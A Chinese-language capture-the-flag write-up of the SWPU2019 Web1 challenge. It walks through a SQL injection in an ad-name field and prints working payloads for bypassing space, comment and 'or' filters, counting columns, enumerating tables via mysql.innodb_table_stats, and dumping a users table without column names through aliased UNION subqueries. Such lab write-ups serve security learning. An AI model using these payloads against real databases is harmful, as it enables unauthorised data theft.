首页 > 其他分享 >SWPU2019 Web1(无列名注入、MariaDB)

SWPU2019 Web1(无列名注入、MariaDB)

时间:2022-10-31 14:45:59浏览次数:72  
标签:name 22 union 列名 查询 Web1 MariaDB select SWPU2019

看到登录框,admin登录试试,无弱口令。注册新用户,发现admin无法注册,于是随便注册一个用户

进入后,申请广告招商,发现有xss漏洞,但这题并不是考察xss。随便发布一个广告,看到url有id,测试了没有sql注入。

看到别人wp,发现发布广告名的地方存在sql注入。闭合符号为单引号,发现and or 空格被过滤了,这样order以及information都无法使用,并且注释符--+ # 也被过滤,因此只能够使用单引号来闭合右边剩下的单引号。不行的话可以试试在最后加上,3',数字随意,并且注意会当成一个列名,对猜测列数有影响。(可以尝试使用sqlmap但是没有结果,也可以fuzz一下哪些被过滤,但是会受到广告条数限制。)

查看有多少列: 1'/**/group/**/by/**/22',有22列。

查看回显位:```-1'union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'` ,回显位2,3

查看数据库名

-1'union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

由于information被过滤,这里涉及到mysql.innodb_table_stats,也是类似information_schema存放数据库名表名等,里面有database_name,table_name,index_name,但是没有列名column_name。

查看表名

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

到这里,已经查到表名,接下来就要查询列名。

MariaDB特性

是mysql数据库的衍生版。正常查询数据如下:

但是当使用如下联合查询时,列名的名字会改变,变为1,2,3,4:

这个时候可以用`数字`或者给列取别名来代替我们想要查询的列:

需要注意的是,我们需要给临时表取一个别名,例如别名为a,可能后面用不到,但是不取会有错误。

查询user表的第二列

-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注意这里的2指的是我们要查询的是第2列数据,第二列的值为flag和admin和123,他们并不是列名。

查询user表的第三列

-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注意这里查询结果中flag{}以及后面一串字符串是第三列的数据。

总结

1.无列名注入

mysql.innodb_table_stats,也是类似information_schema存放数据库名表名

2.or被过滤

3.注释符绕过

4.空格绕过

标签:name,22,union,列名,查询,Web1,MariaDB,select,SWPU2019
From: https://www.cnblogs.com/p0n9/p/16844170.html

相关文章